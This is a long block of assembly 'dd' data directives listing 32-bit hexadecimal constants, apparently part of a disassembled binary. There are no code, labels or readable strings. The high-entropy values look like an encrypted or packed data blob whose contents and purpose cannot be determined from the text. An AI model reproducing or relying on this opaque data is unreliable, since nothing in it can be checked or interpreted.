		dd 3F2F212Dh, 2447E631h, 18DBB532h, 191E25C9h, 183F2EC2h
		dd 0D0BF484Fh, 0A210056Ch, 0AC1E3294h, 7B1E0D44h, 1B662F2Ch
		dd 3292D0B1h, 7DA62E56h, 0AB4F26DAh, 29F5CC3Eh,	4B571DCBh
		dd 0B3633F8Fh, 96794E20h, 0C2856026h, 0AE2D9D1Dh, 1E8198AAh
		dd 513257Bh, 8C2B7457h,	178D9806h, 0CAE3921Fh, 0BDA91F13h
		dd 1ED57860h, 0C1C0AC16h, 2A1CB4C8h, 113C1AA5h,	2518591Ch
		dd 6DB52C5Ch, 6F16413Ah, 2F27BD6h, 0C8006415h, 64592028h
		dd 345D2430h, 2E1B5025h, 2E453110h, 0B91A5821h,	1F0A3671h
		dd 9079D269h, 0F31F0334h, 221F01D0h, 1E206864h,	1A2D04FBh
		dd 162B3FDBh, 6B442969h, 3146617Bh, 11733441h, 0F30AB99h
		dd 0DC2BC236h, 5E68DC17h, 797F7F9Bh, 279729A8h,	3FD62076h
		dd 0EB17DDF3h, 0C3F5B172h, 5F625C2h, 0E539BCF7h, 313D3322h
		dd 1D13103Fh, 0F23C07C5h, 73773B3Ah, 6D3C2671h,	2FF5233Fh
		dd 8147C77Eh, 90971349h, 190B2526h, 1CBCD31Ch, 98DBB13Dh
		dd 0A56D4E3Fh, 0E41CFE49h, 3876762Dh, 0CDB7EF90h, 6D639EDh
		dd 44CC38CFh, 3C172621h, 38C0D329h, 903D3E25h, 95E081Ch
		dd 889C970h, 3F2721E5h,	0D02F7B8Ah, 2F212D23h, 3C323ECFh
		dd 38363A34h, 343A3638h, 303E323Ch, 1E12031Bh, 222E2010h
		dd 0A7F0242Ch, 2A210C73h, 0A71A778h, 0E11A653Bh, 60F50733h
		dd 44EBBD60h, 0BEDD3D2Ch, 3960902Bh, 21D01C02h,	0C817E8A9h
		dd 255C81D5h, 39A8083Eh, 5B24ED22h, 2025310Dh, 3BBC1F2Ah
		dd 0ED315B12h, 25107F6Fh, 345D2AF5h, 1E376441h,	6376CE31h
		dd 2DEB953Dh, 0A151B8A0h, 0DC08543Bh, 66237A3Ch, 3C3ADAA9h
		dd 0A22F1A79h, 1FFF8283h, 0AA722020h, 0CF320158h, 9FDB5CDBh
		dd 672A2254h, 7DEB2762h, 3479F566h, 6B3E0488h, 67E3954h
		dd 0BE25D0Bh, 6423F9A3h, 6242522h, 2E291013h, 26356DDAh
		dd 73F125D0h, 22116032h, 0CAB9BC5Fh, 0D66F383Bh, 78ECA58Fh
		dd 2E8E90E9h, 0D177E22h, 29272729h, 2D232B25h, 3E3020D1h
		dd 3A343C32h, 36383836h, 323C343Ah, 1C14C03Eh, 20101E12h
		dd 242C222Eh, 2828262Ah, 23242A26h, 3F2F212Dh, 0CD333D31h
		dd 16FB2480h, 6C43A3Fh,	0CF9413Dh, 1E1E5D1Ch, 236146D0h
		dd 63EEAC32h, 2AF050Ch,	72E61C4h, 0A7BA1735h, 11376910h
		dd 0BF683838h, 0B587291Ah, 1485121Bh, 0D5C93238h, 245B2478h
		dd 21297000h, 0ED290AE2h, 0F57C7309h, 10F7B80Fh, 57D104B3h
		dd 8FB12F7Ah, 0F50F0875h, 0E1335FB5h, 74902380h, 298A1327h
		dd 872E9AB6h, 0D5308D07h, 972A3263h, 3B895336h,	3D9E2810h
		dd 14193E1Ah, 0FD0B1EBFh, 0D923827Ch, 7B373725h, 8ED92A88h
		dd 517A0A2Dh, 3491D532h, 0E43457A1h, 19E73A9Bh,	0DAEE37ACh
		dd 0BF9E980Fh, 212040EBh, 0A52588CCh, 372B4957h, 6B28EA2Fh
		dd 3FF2B8D0h, 0DEF749DCh, 1B89D1F3h, 9DDEBC7Dh,	41DB970Fh
		dd 81457B41h, 939E3065h, 0C2D8FFD8h, 0D827ECACh, 3A15742Fh
		dd 603C4032h, 0FD4F4DFh, 683CD5FBh, 5E1F45F9h, 77ABB762h
		dd 3D118119h, 88081287h, 8E30811Fh, 31000B1Bh, 0BB99271Ah
		dd 0F83D35C6h, 191C210Fh, 4C0B5526h, 227EE94Ch,	8987EED3h
		dd 6C776405h, 5C093B82h, 74073C38h, 9EF00624h, 0DDB3396Ch
		dd 2D1ECA0Ah, 2F355438h, 4A381DCDh, 0E1472833h,	2D951E24h
		dd 7B2AEB70h, 643C1E39h, 0F25731F2h, 9DE3134h, 413AFBFDh
		dd 0D73B3DFDh, 9F1DDC2Ah, 24E6D015h, 2125C4F3h,	2A263C68h
		dd 262A2C24h, 203B502Fh, 1271C22Ah, 4EF9393Fh, 93D56A32h
		dd 12180F93h, 0FC200690h, 7DE50EA9h, 585C6833h,	0ED274D94h
		dd 5B3DEF75h, 146F1222h, 18B13D32h, 0ADFBB03Eh,	0DE300F23h
		dd 0C2123CDh, 41C33D61h, 41872F10h, 59657918h, 310FE5C3h
		dd 3F033E32h, 0FA26A922h, 0D390A36h, 7A1F3884h,	125EF540h
		dd 0E7329CA1h, 7CE2E3AFh, 633EEDABh, 0C29A123Fh, 0DFBD263Eh
		dd 3F20F10Dh, 2998371Ch, 2B3E2B7Ch, 951E1C18h, 4367C8D0h
		dd 24313666h, 704988CFh, 5E393408h, 6C50D82Eh, 37B42FB1h
		dd 0AF6D2CF7h, 0AE5E3FABh, 4C1FE83Ah, 8E4811A1h, 2B952D9Dh
		dd 23982E12h, 2822FA8Fh, 0BB337FEh, 0F7423F4Ah,	372C5A36h
		dd 893CF953h, 1CD96331h, 95500F49h, 503222E3h, 28F7643Fh
		dd 0AC153051h, 2A5011AAh, 343C284Eh, 3485363Ah,	15323A88h
		dd 0BB3FDED5h, 5C2B3455h, 63A23309h, 0E0BFC20Dh, 0C37A0D27h
		dd 20EE789Ah, 721827F4h, 391F701Fh, 3A2CA638h, 14679CBCh
		dd 4F365F97h, 0B90344F7h, 0CE0E0D68h, 6A3060A6h, 0C1C5A87Bh
		dd 0A4BC33AFh, 1F742406h, 35314A3Ah, 313D3336h,	0D99DD73Fh
		dd 6CB03FF2h, 459B7474h, 2967D77Ah, 0A42E417Dh,	0CE240B52h
		dd 44042636h, 0C7BBC72Bh, 36BC4EC5h, 42DB0C61h,	227EDA9Ch
		dd 0CC3E1ABh, 0AC7F0715h, 7B8A060Dh, 104F483Fh,	16B13029h
		dd 7C377ADDh, 907B1EF8h, 90972D48h, 3B2E4E12h, 265DF234h
		dd 861939A5h, 0C4270D31h, 0A32E2226h, 0DBF6A468h, 370015AEh
		dd 0CAC2B23Ah, 3A36B623h, 7EF11A0Bh, 0FAAA760Bh, 0D6C731DCh
		dd 0C27E28A7h, 0CD2CFCEFh, 33BA5F7Eh, 1E3536FEh, 123803F8h
		dd 3E9DD67Fh, 1E0C7E67h, 0B370371Eh, 9E542261h,	0BF3C269Dh
		dd 9382A56h, 930761Fh, 213526AEh, 3911AC41h, 3C6C392Eh
		dd 0B419C22Ah, 21567B05h, 256A212Bh, 285B082Fh,	38B98311h
		dd 0A0ABA62Ch, 0F535C03Eh, 3B371F00h, 9D2EF4C6h, 9B060F0Bh
		dd 5FBDF508h, 0E62F0111h, 17772685h, 76C23529h,	2C8EA99Ch
		dd 35B20736h, 34BA2424h, 1F503B38h, 0BEAF6F3Dh,	3B1C70F3h
		dd 83281812h, 34A1E22Bh, 0A178291Bh, 0B8C5A8E3h, 0CF8D9E06h
		dd 0F0B49CCCh, 6C11B8B9h, 0BD7414BFh, 9F3C1917h, 0DC96CE36h
		dd 2568A8DDh, 77771F02h, 2D21A24Eh, 0F5B32B6Eh,	33A4F00Eh
		dd 4539FB36h, 55C3513Ah, 1C5889FAh, 817B1F1Dh, 40732621h
		dd 0E80224ACh, 7F1FC60Eh
		dd 0B5562EA8h, 0B1B29831h, 38B2BF35h, 0A03BBFA8h, 0BF953EB8h
		dd 9AB21D99h, 23A79520h, 8E26A598h, 3102346Dh, 289901EAh
		dd 3267692Ch, 36761586h, 3B7A113Dh, 4E0D10EDh, 325DB11Bh
		dd 2215121h, 253D6D0Ah,	802A3D8Fh, 3B5C288Ah, 310EA20Ch
		dd 715EA530h, 6A392E47h, 0E53529C4h, 0B99F1A3Dh, 25E11BDAh
		dd 2C4CCBA9h, 92C974Fh,	0A923C6AFh, 5B349F0Bh, 2BF59012h
		dd 1D6C60B7h, 6E23A92Eh, 0A725764Eh, 65CF755Dh,	3E336771h
		dd 6CF2FB5h, 0CA89ACh, 0F354C35h, 96B84E29h, 20083135h
		dd 24042206h, 1AAFB2A4h, 944B14DCh, 0E47577C9h,	26262561h
		dd 2B69C994h, 0CF0A8C2Dh, 460ED0ACh, 77373729h,	3B9B7A9Bh
		dd 6E3262BCh, 759D1E73h, 1E34A4E0h, 2BCE64E3h, 0AA2BAD8Ah
		dd 246D2EAEh, 9233B5B7h, 339936B3h, 0FA3A1D9Ch,	3D18EC27h
		dd 0AB1F3AEFh, 0A12F5EC5h, 25C5C52Ah, 21D921C6h, 22347F21h
		dd 369C0D2Bh, 37B17B39h, 3BB86E76h, 3E19703Fh, 399B3AFEh
		dd 0A84A6E1Eh, 26A69223h, 79777DE5h, 2C8AEAC1h,	0CFD72E2Ah
		dd 349AB63Eh, 0F867B336h, 7CFC324Ch, 127F3F33h,	5F0E1F62h
		dd 82CAA3Fh, 7F626DCh, 55A3E12Bh, 0A631ED3Ch, 1BDB353Eh
		dd 0DAB56874h, 397A873Ah, 0B455BD6Eh, 940D96DEh, 0E8AB2001h
		dd 0B333A06Bh, 226D49A0h, 86CC01Fh, 34B96022h, 30B40669h
		dd 1A3FBA21h, 13FA7C29h, 23BF4E0Eh, 0AB30DE2Dh,	85AC2202h
		dd 0EA981D39h, 9DEA2E5Eh, 41223E2Eh, 0DD9841C5h, 8A3A7639h
		dd 1C852D1Bh, 0CA1C979Ah, 5318BE68h, 81A03305h,	0BCEFB310h
		dd 89522929h, 0EB907959h, 0B730E9A3h, 360BB29Bh, 0C1BF03D1h
		dd 6203DC2h, 8E9B0004h,	0C8DDDEDCh, 63E020A4h, 0A02B3B0Ch
		dd 0A528556Ch, 0A521610h, 2942F5B0h, 5A665787h,	7F261F04h
		dd 0E9D990Eh, 156E170Ch, 11BB134Eh, 1D9B1F8Bh, 19EA1B94h
		dd 5E807FCh, 1DD03D0h, 2B60FD9h, 69004AEh, 243B23C7h, 18592670h
		dd 1CB11AA8h, 10871E81h, 14E8129Fh, 8D816E4h, 0E220ADCh
		dd 26C0C00h, 1AC00A0h, 211C0384h, 711C1ED0h, 0C4AF2241h
		dd 0A8E2640Dh, 2D2B930Ah, 0A888CA3Dh, 78E33633h, 93C4C9FEh
		dd 9E3A7E86h, 0B5CDF51Ah, 0E635CCEBh, 0BB30D129h, 0E640C560h
		dd 51A1DEA3h, 2122D9D6h, 72038654h, 80E43484h, 6A7A3786h
		dd 0A181A23Fh, 1F9C0214h, 4821A136h, 1925A517h,	4B6328A6h
		dd 7B232C28h, 5131D47Ah, 0D24434D7h, 3ADD4437h,	3E4969B1h
		dd 0BE1C6FA7h, 608E1F6Ah, 64719A26h, 2969E326h,	0CD2C6AF8h
		dd 392A2E9Fh, 44DF3032h, 3A382C36h, 3C7D32CCh, 9D746E12h
		dd 1031FDFh, 0B02E4338h, 1A22084h, 75C3CEE7h, 69713F4Dh
		dd 10A03A59h, 688F0B74h, 3B5B63D1h, 13DEEEDCh, 7C2EBDB1h
		dd 22C30481h, 734CD76h,	7842C92Bh, 37142C19h, 0D27BE3B2h
		dd 3804F5C5h, 4EFB9103h, 7B129C34h, 424E4F1Ah, 0D3D7A54Ah
		dd 53317320h, 0F6718903h, 0D7DA2EBBh, 71815F6Dh, 99475242h
		dd 382D69B7h, 0D5510C38h, 189C2A19h, 0DFA31E8Fh, 285922E1h
		dd 3A29CD2Fh, 2D1FBBABh, 0C63B512Ch, 35D53264h,	0FB2878C6h
		dd 8DBDFB1Eh, 0A03FBB3Eh, 811E1D1Dh, 26A3483Ch,	3E255933h
		dd 0F520CA9Ch, 0EA6A1E3Dh, 3D23EE21h, 0D836ABDCh, 186F6E23h
		dd 8311CE05h, 7F49151Dh, 11676525h, 23A6A106h, 5BD5D1ABh
		dd 5A34650Dh, 0E15735E2h, 672C4030h, 37A0104h, 7B7E3874h
		dd 42034C4Bh, 4A194027h, 5661A432h, 34D9501Fh, 2BA514ABh
		dd 0C2A12F3Fh, 960DA8AAh, 6A28900Fh, 86058C24h,	25DC044Fh
		dd 64600ED6h, 45FC1BF2h, 0C110C763h, 0DD69AB9Bh, 11A0D716h
		dd 0F53C84F2h, 59BCC8C8h, 3E3CBD94h, 7C9D3DB4h,	0E09B1C3Ch
		dd 24932655h, 7B5FCD24h, 897A17Eh, 322F1E0Fh, 94323259h
		dd 0D671BB35h, 3DE7FB3Fh, 5B883E82h, 8DDE1F3Ch,	452215A1h
		dd 0CF227BADh, 4BD446A5h, 0BA2A6D3h, 9330F10Ch,	5060514h
		dd 5D481A0Fh, 5D491D55h, 93461117h, 251B23F4h, 56784527h
		dd 81685E55h, 50EB2E29h, 5D665F65h, 7130705Ch, 3D987F8Ah
		dd 0C7A7567h, 46161B3Fh, 54447157h, 57E45751h, 406F075Fh
		dd 2E90AA4Bh, 36D12A86h, 8834E6A7h, 0EC7A37E7h,	0ED3A3D3Ah
		dd 0C92F853Eh, 20CE511Dh, 24F3AC62h, 227F7BDh, 0CD2BFF31h
		dd 0E5252EFCh, 99341831h, 0BECB36E5h, 0D23BEB13h, 0CA833EE8h
		dd 0CAFE4F1Ch, 0F32A2420h, 27F3F724h, 2BFB7C66h, 0B82EF8E8h
		dd 0D3643B61h, 3FD3393Ch, 331E7DFFh, 0D73A3D2Ch, 95612CECh
		dd 7B197ED9h, 217120E1h, 30E62820h, 0E5BC9943h,	0BEDDB135h
		dd 606046B3h, 223322F6h, 3E31393Bh, 0E2B77E3Ah,	553042E1h
		dd 2525A382h, 0DB316A3Dh, 2F74384Ah, 18B1F88h, 40003E7h
		dd 84C0669h, 0CD20AB4h,	2E620D15h, 12A62CB9h, 173510C4h
		dd 1B631508h, 1F821948h, 6AA1DC1h, 2D7048Ch, 0ECB00C6h
		dd 0B010D37h, 2CAE0957h, 28DC2AB8h, 202216F5h, 26262704h
		dd 48292944h, 0ABCC5804h, 9323C1F0h, 0F7042140h, 0B20F966h
		dd 0FD5897E9h, 32FCF1CBh, 3E7144F7h, 6F6D26C3h,	2A1535D7h
		dd 8F250D2Ah, 62DAA0FCh, 2E38BF34h, 4A6838A6h, 0D67D3439h
		dd 0E2E2F0D0h, 1208F4Dh, 5416CB66h, 790C7339h, 2E23D72Dh
		dd 0BA3A0D26h, 952835D3h, 0C1BB3F37h, 3A483F3Bh, 1D92257Fh
		dd 0E037A6DEh, 25E42121h, 21242225h, 7F792D44h,	6723ACACh
		dd 0D4986150h, 0F9263074h, 3F3B9B6Ch, 4D29AE9Ch, 0BF271BF4h
		dd 5767834Ch, 37DEA62Dh, 0A92F2EA5h, 0A774282Dh, 3C083432h
		dd 6982D131h, 16E23B79h, 10283F7Eh, 0C21A0C17h,	39293F4Eh
		dd 0D027255Ah, 0BA4E1788h, 2C265E1Bh, 3C9AE62Dh, 0AA312531h
		dd 38513C26h, 3A228A39h, 446D6A52h, 2322B29Fh, 35203CB4h
		dd 6F2C7569h, 5C4D6C40h, 61B86844h, 2644FEDAh, 8A2CF3B5h
		dd 0D52BB339h, 4C0C2FD3h, 305B3E75h, 3020EE34h,	896325E1h
		dd 7D6C407Ch, 0F9BDC669h, 86DB2A32h, 0D1335F7h,	0AEFE39FBh
		dd 184E3671h, 0C6F61EEDh, 603F51AFh, 2B1E252Ch,	6B235D38h
		dd 536EEB17h, 0F3006FC6h, 0F45A35F7h, 6A5DE13Dh, 6A6D45FDh
		dd 574D4B4Dh, 0BA35B41Fh, 0FA09B022h, 2A7553A7h, 0D108300Fh
		dd 613330D0h, 1AAAF472h, 0E0F12DC8h, 3EF638FBh,	0CC97F3B4h
		dd 0DCABDF2Dh, 5A276659h, 39F2467h, 3D3D6E8Bh, 74992C6Eh
		dd 90273C31h, 7CA33476h, 7D296C39h, 1F5BB23Dh, 22DFA6F9h
		dd 3BCBDCFFh, 372719FBh, 2C340D29h, 0B5E12E32h,	1B36CD8h
		dd 3983368Dh, 2A261BDEh, 1F1E2313h, 0BF27DE22h,	0B22AC120h
		dd 2026E625h, 461A2BD8h, 4896259Fh, 73545756h, 8BBDDCC3h
		dd 3BC8351Ch, 0FEC83D0Fh, 0DC961EE1h, 3D21C8DEh, 0D9A0F420h
		dd 2C57C2ACh, 0FE24ED38h, 74C8C761h, 0BE35C308h, 461A0C63h
		dd 1EE8B7D6h, 94CE9E72h, 20B95F1Dh, 0A42CA833h,	2B64BE44h
		dd 439AC322h, 0B57A3E4Eh, 77642250h, 7A30BC32h,	0D5302639h
		dd 59187FA5h, 231B571Fh, 0B1CBAAE9h, 27E22748h,	398B01ADh
		dd 202C2D7Ch, 373278BAh, 0D3FF162Bh, 44D737h, 1B353E22h
		dd 3B5ACD0Dh, 23A62968h, 64DA696Ch, 0DF7A29ABh,	0BD7A2DA8h
		dd 6B32B5D8h, 6B36B1E8h, 1F3ABDECh, 3FBAF55Ch, 1E99A47Fh
		dd 0A668B077h, 0A2A14823h, 0AE5D5827h, 72BF582Bh, 624930ABh
		dd 7A4934B7h, 0BE2D38B5h, 7E492C1Fh, 4FFFF33Ch,	2B65E0E3h
		dd 2F64A26Eh, 0E7A37624h, 252C73C2h, 7EBD7F5Eh,	153C7371h
		dd 6D60F621h
		dd 83E5B90h, 0B01D9B76h, 804B18B5h, 76209627h, 0E0062085h
		dd 697F6B27h, 0F2520FDh, 34593A35h, 5171BB3Dh, 1A747AB4h
		dd 480D6E49h, 759B0174h, 0A98CA1F2h, 4DA6B306h,	2BACA378h
		dd 6A7E7F47h, 0B31C5BB4h, 0B0DE6615h, 3BB93BB8h, 3DD521F8h
		dd 5296DC29h, 7D75041Fh, 427E797Dh, 2A2428AEh, 7EE9AF2Fh
		dd 32D934EDh, 3635A432h, 53947FBh, 2A0CC40Ah, 3994334Fh
		dd 954272Ch, 51A4114Eh,	1B9C070Eh, 5DFC1996h, 3102DB06h
		dd 63001CEh, 0A0C042Eh,	6F5C07B8h, 2F6F0C66h, 20377E95h
		dd 17E3118Dh, 1BC315F9h, 4D18D26Dh, 81B0A05h, 70B79043h
		dd 6B97AE01h, 5C103E43h, 343A9E47h, 0BED918B8h,	0DDCA7725h
		dd 0A627E604h, 0C16C2A29h, 32681269h, 79131930h, 811710F4h
		dd 0CC13181Eh, 2E9E1C17h, 9B123D33h, 7E208093h,	75453007h
		dd 0D05DC071h, 0C0D4F69h, 101DB550h, 6517146Eh,	1E7D18F0h
		dd 3F393C0Fh, 16C0F30Eh, 11619C1Eh, 0A825E2F6h,	0AD080372h
		dd 3EEDAF42h, 953DC77Ch, 0B77129F0h, 3E398F3Bh,	3E09CB52h
		dd 1CA2A524h, 0A094940Ch, 0A5392239h, 3223773Eh, 256BDC07h
		dd 282E3429h, 0DC3332CEh, 0FBF70525h, 5E3B6EB9h, 4C0F3Eh
		dd 0C3391948h, 236E2C06h, 2B20A50Fh, 2AD2AA20h,	7120242Ah
		dd 3FB470B9h, 11A11BB4h, 383A1180h, 0BB3B320Bh,	5B93505Eh
		dd 675AB19h, 0AD7B242Fh, 0EA1A206Fh, 288626A2h,	3E2E240Fh
		dd 42F5B123h, 2E37483Dh, 3D1D3C39h, 0BD7401D4h,	77C81D7Bh
		dd 2D259027h, 29292697h, 2567A029h, 0F0A4901Ch,	0BEF40033h
		dd 0F0BB3727h, 3FFEB8C5h, 0EB0B91CCh, 20E635CCh, 0DEA8D51Ch
		dd 2ACEE725h, 0E4A08FDAh, 33CE3EAEh, 472E9B5h, 0D8CAA436h
		dd 572DD2A3h, 8920F39Bh, 9B62507Fh, 59CA1D0Bh, 0CAE1325h
		dd 0BCC20515h, 380E2184h, 7251335h, 201F0426h, 0FA75D106h
		dd 9B2915A8h, 8C1BE994h, 0E6358B49h, 0B73A95A7h, 21C92887h
		dd 27EDEC11h, 0CD1AC79Dh, 39353BBEh, 2F393737h,	0CEF5B0C4h
		dd 114CED32h, 11296B1Fh, 4B9CB74h, 1181975h, 0CCF2FE8h
		dd 0D8333229h, 7163F893h, 22B93E29h, 26B17B70h,	2F973C1Eh
		dd 3CBD68C6h, 688E006Ch, 0C9789D4h, 819B2B36h, 302B4F55h
		dd 793388E9h, 3937A66Fh, 3C383A3Ah, 0E43C3E39h,	0A71C1DE3h
		dd 63252120h, 27DE0624h, 3424292Bh, 2E2E2396h, 0FE323884h
		dd 7B378D15h, 3B6E18F5h, 1F4D5454h, 79726E6Bh, 4F40521Fh
		dd 48444703h, 5E462849h, 6845090Bh, 4225418Bh, 375F40F4h
		dd 33813384h, 0A855349Bh, 0F5121009h, 62037F0Ch, 31417389h
		dd 34BCE41Dh, 2A665F25h, 9102301Eh, 8D995B17h, 66AAD134h
		dd 2D3E3985h, 146B3D8Ch, 0CCC91CADh, 22433B10h,	1F243051h
		dd 88B0C3Bh, 0DB7D26FCh, 26932CF3h, 0C7C946B4h,	370B3106h
		dd 5A2BAD30h, 1EFC38ECh, 7D7D2022h, 0DF2795D8h,	24094629h
		dd 202E222Ch, 0AC323E30h, 3739353Bh, 2FA97B3Bh,	334A1F0Ch
		dd 19171C5Ah, 43A9148Fh, 62CDEA39h, 0ECFCD739h,	0DF59AC2Ah
		dd 27CE16C4h, 0C3AE15A3h, 0BB5921B7h, 405CF422h, 55C79BFh
		dd 41AD72FFh, 5186ECB6h, 126E21C7h, 0ED0A099Eh,	0CFC6A921h
		dd 4C90CCCDh, 1A3E3F96h, 3D7F4B3Eh, 0FEDABF2Ah,	0DF4D2E18h
		dd 1D439CF4h, 3DD86ED5h, 44380AB5h, 602E8F4Dh, 34BB9175h
		dd 9822C964h, 0AD981A5Bh, 3B4A6C9Ch, 0D81C7CBDh, 0AB23A025h
		dd 0A76637F4h, 333FD62Ch, 0E8AA2ECCh, 3330D035h, 68F0BE30h
		dd 3B362022h, 3CAEB19Dh, 0BF5A03FBh, 22A1118Fh,	0E1135522h
		dd 2E293961h, 0D1DAAECh, 0B6373027h, 0C7368B0Fh, 0BADD5EDFh
		dd 33011A12h, 0D020348Bh, 0EA4D572Eh, 21647212h, 0E92CA6D6h
		dd 0C564382Dh, 0A15BA41Ah, 35F5FD26h, 0DCD06657h, 9D3CDAD1h
		dd 95F61A7h, 0AF5A3C0Dh, 262362E3h, 58242605h, 2C59272Ch
		dd 53404248h, 87E73031h, 0B8343651h, 3CFB387Ah,	59323D06h
		dd 89E11D38h, 22EE7420h, 2760CC24h, 2A2A2BCEh, 2E329CC5h
		dd 7F30B1B9h, 6033B424h, 39BA3A3Ah, 0BEC3AF18h,	9F15E113h
		dd 6B2B20C7h, 667614ADh, 30766A2Fh, 3C727CB0h, 919D6F6Dh
		dd 697161B3h, 7A211C63h, 317D6E66h, 0F50F9A16h,	65335E94h
		dd 0CD747C60h, 3FAB5AACh, 48706B4Ah, 32315FC6h,	4D106732h
		dd 6B0378BBh, 3C5F31D2h, 905ABB3Dh, 204F1A1Dh, 2406AB45h
		dd 0A3717721h, 58A2DB89h, 0D22F2A09h, 94D133F6h, 0A1DF3535h
		dd 55BB3BCEh, 1F17BE3Ch, 131C91F4h, 202E2074h, 2559AFCCh
		dd 272B1624h, 2D5CC52Eh, 3218933Ch, 52DE3438h, 3A2F353Ah
		dd 3E3EAD30h, 13BF6D12h, 0A62E29D3h, 12206739h,	38133ED6h
		dd 5EF83AD8h, 0C418734Ch, 0A0DD3225h, 1A3C7836h, 3C4D0C3Eh
		dd 949EBB4h, 25D03B1Ch,	0A12BD019h, 0C08D290Bh,	280C5739h
		dd 22C33E44h, 993083BEh, 34EA3ABDh, 1C3B311Eh, 0CDD861F8h
		dd 28869E62h, 202BB721h, 0B2E07673h, 0FAC37801h, 0FE7C2F2Ch
		dd 0CAE0DDD9h, 0B12068CAh, 3C2B35B6h, 97328DB1h, 0AF4B4E14h
		dd 0CAA97676h, 7F6636E4h, 293EEA58h, 136CED7Ch,	0DB313134h
		dd 1477B4D4h, 0E5DAD1F5h, 6D20ED3Ah, 48103BBAh,	0C749C817h
		dd 53E53200h, 1CA3A362h, 282F273Bh, 22443224h, 420534C8h
		dd 5B3FB3C7h, 605A6C3Ah, 0E59F1BFCh, 0A22E6A1Dh, 73AC27E4h
		dd 64AA9ECEh, 0ACEF752Eh, 6BD78027h, 0A3B3B3Dh,	0CB005697h
		dd 5C50383Ah, 751B5127h, 231F7973h, 5575144h, 5B4E08D5h
		dd 255B4F41h, 60AF6D79h, 71773331h, 38B61B73h, 0CC163F3Dh
		dd 1B531338h, 3ABE461Eh, 0E46130Eh, 0B7122567h,	2BAADC7Ch
		dd 722E6B16h, 6D0234C1h, 374411E7h, 3C4B312Dh, 2B1AE978h
		dd 0BE210ECAh, 3C11131Eh, 255E853h, 0FA07AE28h,	0CE28CE2Bh
		dd 0C13261AEh, 0C231273Dh, 683B3839h, 566A886Bh, 0F9C6B3Fh
		dd 2D005C2Eh, 0D4C127B2h, 3F58CE07h, 3FDD2F64h,	21502D5Eh
		dd 1585B798h, 644207Ah,	0EC693A6Fh, 4A4E1945h, 46B951Dh
		dd 51D5A729h, 79AC262Bh, 0A9EB1920h, 0A52B21FFh, 0BF2310F1h
		dd 0B2643F74h, 22B12A39h, 0C805F4B7h, 9B3F1D69h, 0A93455E9h
		dd 0AD2E2474h, 2AC82876h, 2DEEAE3Dh, 31F4B230h,	0D60A3B75h
		dd 6D3D1938h, 1A3EDD76h, 1B387433h, 0A924019Fh,	0B0200096h
		dd 0CB882D03h, 81214C2Bh, 8A9B3607h, 17D53216h,	3C1DD331h
		dd 0A3B18CDh, 1B3FB03Eh, 420FF11h, 702A2B0Bh, 0A1682102h
		dd 2FA91328h, 5932A74Eh, 0AA30B23Eh, 0C57D33B9h, 2449803Eh
		dd 0E9B6D627h, 0C95B5919h, 51238783h, 2CF6B1CCh, 28F90749h
		dd 3F2BF17Fh, 37965A34h, 655DDF07h, 3569303Eh, 1BFA7A37h
		dd 3428045Dh, 0F4321E5h, 8F20E40Ch, 96C92FEAh, 4028E28Bh
		dd 0D2B4DC33h, 9F4136FBh, 0B132D03Ch, 67343F9Ch, 0B5DE1EB9h
		dd 2A6CAD1Dh, 0ADCB70CAh, 0F8A129F7h, 2AA38A2Ah, 127C80A2h
		dd 3435FADAh, 0BBFF3AB6h, 0BC85B639h, 1F9A653Dh, 10AC9293h
		dd 148F712Ch, 8874AA24h, 2D8E8B2Ah, 15F086EEh, 0E5FD641Fh
		dd 86C5F13h, 0ED7AD33Ch, 1CBC1F3Ah, 9800DA9Eh, 0CC732E21h
		dd 2A27A285h, 38652AA2h, 0EAEB13A6h, 65333333h,	0C761E1CAh
		dd 9CFFB9EEh, 0D8616135h, 0D31E1C8Ch, 7422212Ch, 2F0259AFh
		dd 2B5FD6ADh, 2E4E452Fh, 859D4521h, 0C36FE276h,	39C5893Ah
		dd 0CEF63FCDh, 0AE4C9819h, 222222EBh, 3E000427h, 2F2E187Eh
		dd 0EF2D6CE3h, 3B69E02Ch, 34208573h, 0A2853937h, 1E3C695Ah
		dd 0BDB61A77h, 69601E5Bh
		dd 2461F323h, 29296046h, 3B3F6ABAh, 215A2B7Ch, 75312658h
		dd 1F387037h, 6F385172h, 1E28B5D6h, 619223Bh, 2573CA0Bh
		dd 66674F35h, 78207A3Dh, 0F10FAE57h, 3F72639Ch,	345D3361h
		dd 2A7B3D53h, 19553A38h, 755E09DCh, 1CA7322h, 0A47625C4h
		dd 0A34D29D0h, 0AA2E29ACh, 5B3944CFh, 3E3636DCh, 0E3EA29B8h
		dd 1B7A2DBCh, 9D155C17h, 2A8122E7h, 73A92B2Fh, 0EBD6D763h
		dd 3FC53C99h, 32B4F66Fh, 0B71640CCh, 393984DBh,	9E13857Fh
		dd 0F538AF20h, 23AB0F1Eh, 0CD0F22DEh, 156C3286h, 4741EB91h
		dd 1CF07F06h, 305536BEh, 0BA184705h, 0CDB723FEh, 0E2DD72Fh
		dd 25BD52F5h, 7567CAEFh, 0DC4F2654h, 44263A1Ch,	1B7427BEh
		dd 22627C43h, 5B3A5319h, 1C5133A9h, 9B7ABFFAh, 3F218C1Ah
		dd 2202FCC8h, 647AA402h, 0DDD5D740h, 270A692Ch,	653B4531h
		dd 80FBF1DCh, 0FFB914F8h, 0DC389D38h, 18301514h, 288321D8h
		dd 0CF21E5A0h, 0D4464237h, 79277CD4h, 1202D4C7h, 3153F439h
		dd 0FB5D9968h, 5E194827h, 8E34D33h, 0A03A9F8Ah,	0B507525Eh
		dd 14282F1Dh, 3F727420h, 6A57BE73h, 29AAA3F1h, 1D185BBDh
		dd 0C23AFC22h, 72923F3Eh, 7F921A1Dh, 2C5DAB29h,	0FFCF3A76h
		dd 123B76EAh, 295B105Dh, 0E4DB2E67h, 2DB73735h,	187F1DDBh
		dd 1FBF391Dh, 1B1E195Ch, 0E0A8A921h, 3704257Ah,	82877EBh
		dd 32ED3D80h, 3B3C1122h, 0B7323874h, 3B7A785Ch,	0CB566C6Ch
		dd 0B7B582Dh, 42FA9C9Bh, 2905DC5Eh, 2B5400BAh, 797951FFh
		dd 31312196h, 0BBF59000h, 91CA6257h, 1E79285Ah,	0FD185149h
		dd 0A7200648h, 290067ABh, 3929A707h, 2D043ED5h,	2DF01C7Bh
		dd 1F35F7B3h, 45590BB0h, 656B6D69h, 1C241F56h, 90049E03h
		dd 24A839A1h, 20E3A5FDh, 2A5EF1ACh, 271712Dh, 0BFF069F1h
		dd 20131E79h, 0E4193A68h, 9ECF387Dh, 6B1F1C49h,	227E2021h
		dd 26276D25h, 2A2B9C16h, 72F2C1Eh, 32333FF2h, 63373432h
